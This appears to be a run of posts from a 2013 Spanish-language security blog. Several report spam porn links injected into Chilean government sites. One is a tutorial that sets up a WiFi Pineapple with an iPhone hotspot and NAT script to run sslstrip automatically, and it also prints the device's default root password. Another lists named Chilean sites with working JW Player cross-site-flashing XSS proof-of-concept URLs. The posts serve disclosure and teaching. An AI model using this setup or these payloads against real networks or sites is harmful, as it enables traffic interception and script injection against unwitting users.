viernes, 15 de noviembre de 2013
[7ma Vez] Página de la JUNJI con links de Porno
De la SAGA: Hey Junji !
Presentamos por 7ta vez : Junji tienes links de Pornografía!
7ta vez que informo de presencia de links de pornografia en el sitio de la JUNJI CHILE, es procupante que esto se este repitiendo una y otra vez debido a que las soluciones que se están ejecutando son solo temporales borrando los links y no corrigiendo el origen del problema.
Robo de información? Robo de clicks?
Timeline:
Primera denuncia:(octubre-2012) http://blog.xshinee.cl/2012/10/sitio-web-de-la-junji-con-enlaces-porno.html
Segunda denuncia:(diciembre 2012) http://blog.secureless.org/noticias/chile-sitio-web-de-la-junji-elnazando-a-sitio-web-xxx/
Tercera denuncia: ( Enero-2013) http://blog.xshinee.cl/2013/01/nuevamente-links-de-pornografia-en.html
Cuarta denuncia: (abril-2013): http://blog.xshinee.cl/2013/04/4ta-vez-pagina-de-la-junji-con-links.html
Quinta denuncia (junio-2013): http://blog.xshinee.cl/2013/06/5ta-vez-pagina-de-la-junji-con-links-de.html
Sexta Denuncia (Agosto-2013): http://blog.xshinee.cl/2013/08/6ta-vez-pagina-de-la-junji-con-links-de.html
Links Actuales :
domingo, 27 de octubre de 2013
Wifi Pineapple : WiFi Relay + iPhone
Entonces hay que aprovechar lo que tenemos:
PiñaWifi | WifiPineaple MK4
Iphone 4
Adaptador USB wifi | Crolatus
Un Hub Ordinario xD
Memoria Usb [Para las Infusiones]
Conectamos mediante el Hub, el usb con nuestras infusiones y el Adaptador USB WiFi Crolatus y verificamos que lo reconozca mediante la pestaña usb accediendo por el navegador http://172.16.42.1:1471
La idea es alimentar a la Piña mediante compartir Internet inalambrico desde el iPhone y hacer correr sslstrip | Todo esto si mediar la necesidad de un computador.
Archivos de Conexión:
Nuestro connect1.sh
#!/bin/sh ifconfig wlan1 up # Conexión a WPA2 usando wpa_supplicant wpa_supplicant -i wlan1 -c clave1 -B # "clave1" será un archivo creado por nosotros #wlan1 es nuestro Adaptador Crolatus #ipforwarding echo 1 > /proc/sys/net/ipv4/ip_forward #Reset de iptables and config iptables -F iptables -X iptables -A FORWARD -o wlan1 -i br-lan -s 172.16.0.0/24 -m conntrack --ctstate NEW -jACCEPT iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A POSTROUTING -t nat -j MASQUERADE #un sleep de 6 segundos para que este lista la asociación.. sleep 6 # DHCP de OpenWrt udhcpc -i wlan1
Ahora seguiremos con el archivo "clave1" mencionado en el script anterior que se trata en de nuestro wpa_passphrase, abrimos una consola y escribimos:
wpa_passphrase tu_SSID tu_clave
#En mi caso wpa_passphrase "iPhone de Shine" "00000000" > clave1
#Si vamos al archivo veremos algo asi
# network={
# ssid="iPhone de Shine"
# #psk="00000000"
# psk=0d6f2eaab4ddeef7e6a6bbb0118774b279fa81ad0839e92a888ad528a95106e7
#}
Subiremos los archivos "connect1.sh" y "clave1" a la piña por ssh al directorio /pineapple/config/
Entraremos a la piña por el navegador http://172.16.42.1:1471 y entraremos a la configuración para setear el uso del boton WPS para que ejecute el script cuando presiones dicho boton entre 2-4 segundos.
Ahora solo nos quedaría configurar el sslstrip para que se ejecute desde un comienzo al encender la Piña, existen otras formas de lanzarlo solo use su imaginación.
Listo, ya tenemos nuestra Piña lista para usada con el Internet del Iphone y lanzar el script con el boton WPS..
sábado, 19 de octubre de 2013
Upgradeando la Piña WiFi MK4 y no morir en el Intento
Estos días que ando con un "poco" más de tiempo, quise upgradear el firmware de la Piña y me di cuenta que mediante la plataforma el navegador arrojaba distintos problemas.
1) Decía descargar la versión 2.8.1 y realmente descargaba la 3.0.0 por lo que el MD5 no coincidía con el que te ofrece para comparar.
2) Al intentar usar el MD5 disponible directo del sitio (MK4)
arrojaba un error "Error, please check the file you specified. Error 7"
Buscando soluciones por las webs oficiales, di con la solución al Upgrade [ Sí, bendito ssh ]:
Nos conectamos a la piña por ssh:
ssh root@172.16.42.1 Password: pineapplesareyummy
Una vez dentro primero tendremos que generar un poco de espacio, ya que sino no podremos subir el firmware por scp a la piña. Entonces ejecutamos:
mtd -r erase rootfs_data
Luego de esto subimos por scp el fichero de Upgrade que descargamos desde la pagina oficial al directorio /tmp de la piña. así:
scp upgrade-2.8.1.bin root@172.16.42.1:/tmp/
Una vez dentro nuevamente de la piña por ssh, vamos a verificar el md5 del archivo haciendo un:
md5sum /tmp/upgrade-2.8.1.bin
Si correspondiera a la correcta, en este caso a: 17e4384a79e7fef9c267f7da34ed4743 Seguimos con el siguiente comando:
sysupgrade -n /tmp/upgrade-2.8.1.bin
Ahora solo queda hacer un reboot y listo !
Ahora a seguir instalando Infusions..
G0!
sábado, 7 de septiembre de 2013
[XSF-XSS] Cross Site Flashing - Sitios Chilenos
Buscando sitios chilenos que tuvieran presente JW Player y revisando si la versión era vulnerable, o habia sido actualizada o fixeada para Cross site Flashing | XSS , gracias a un pequeño script en perl y a Google di con unos sitios los cuales se ven afectados por esta vulnerabilidad.
Lista de sitios Chilenos Afectados:
TOP 8 || GOB y sitios conocidos
http://hacienda.gov.cl/js/jwplayer/player.swf?debug=alert%28/XSFF/%29 http://www.adnradio.cl/jwplayer/player.swf?debug=alert%28%22XSFF%22%29 http://www.24horas.cl/skins/24horas/gfx/jwplayer/jwplayer.swf?debug=alert%28%22XSFF%22%29 http://www.despegapyme.cl/js/jwplayer/player.swf?debug=alert%28%22XSFF%22%29 https://gondwana.cl/~gondwana/plugins/muscolplayers/jwplayer/jwplayer/player.swf?debug=alert%28%22XSFF%22%29 http://www.gobiernosantiago.cl/jwplayer/player.swf?debug=alert%28%22XSFF%22%29 http://www.iansa.cl/wp-content/themes/IANSA-2010/jwplayer/player.swf?debug=alert%28%22XSFF%22%29 http://www.ccu.cl/wp/wp-content/themes/CCU-2011/jwplayer/player.swf?debug=alert%28%22XSFF%22%29 http://www.cruzverde.cl/rps_cruzverde_v60/opensite/Cruz%20Verde%20Internet/style/images/guateros-peluche/jwplayer/player.swf?debug=alert%28%22XSFF%22%29
martes, 20 de agosto de 2013
[6ta vez] Página de la JUNJI con links de Porno
De la SAGA: Hey Junji !
Presentamos por 5ta vez : Junji tienes links de Pornografía!
Dejándose de bromas, es 5ta vez que informo de presencia de links de pornografia en el sitio de la JUNJI CHILE, es procupante que esto se este repitiendo una y otra vez debido a que las soluciones que se están ejecutando son solo temporales borrando los links y no corrigiendo el origen del problema.
Timeline:
Primera denuncia:(octubre-2012) http://blog.xshinee.cl/2012/10/sitio-web-de-la-junji-con-enlaces-porno.html
Segunda denuncia:(diciembre 2012) http://blog.secureless.org/noticias/chile-sitio-web-de-la-junji-elnazando-a-sitio-web-xxx/
Tercera denuncia: ( Enero-2013) http://blog.xshinee.cl/2013/01/nuevamente-links-de-pornografia-en.html
Cuarta denuncia: (abril-2013): http://blog.xshinee.cl/2013/04/4ta-vez-pagina-de-la-junji-con-links.html
Quinta denuncia (junio-2013): http://blog.xshinee.cl/2013/06/5ta-vez-pagina-de-la-junji-con-links-de.html
viernes, 2 de agosto de 2013
Links Porno en Source de dellibertador .gob .cl
Como se ha repetido últimamente en algunos sitios del Gobierno, han aparecido links a sitios pornos en el source del sitio dellibertador.gob.cl, muchas veces que no se ven reflejados en el sitio en si [display:none etc ], pero que buscan secuestrar tus clicks frecuentemente.
Aqui un SS del Source:
// Reportado.
viernes, 28 de junio de 2013
[5ta vez] Página de la JUNJI con links de Porno
De la SAGA: Hey Junji !
Presentamos por 5ta vez : Junji tienes links de Pornografía!
Dejándose de bromas, es 5ta vez que informo de presencia de links de pornografia en el sitio de la JUNJI CHILE, es procupante que esto se este repitiendo una y otra vez debido a que las soluciones que se están ejecutando son solo temporales borrando los links y no corrigiendo el origen del problema.
Timeline:
Primera denuncia:(octubre-2012) http://blog.xshinee.cl/2012/10/sitio-web-de-la-junji-con-enlaces-porno.html
Segunda denuncia:(diciembre 2012) http://blog.secureless.org/noticias/chile-sitio-web-de-la-junji-elnazando-a-sitio-web-xxx/
Tercera denuncia: ( Enero-2013) http://blog.xshinee.cl/2013/01/nuevamente-links-de-pornografia-en.html
Cuarta denuncia: (abril-2013): http://blog.xshinee.cl/2013/04/4ta-vez-pagina-de-la-junji-con-links.html
La imagen para esta 5ta Vez:
Suscribirse a:
Entradas (Atom)











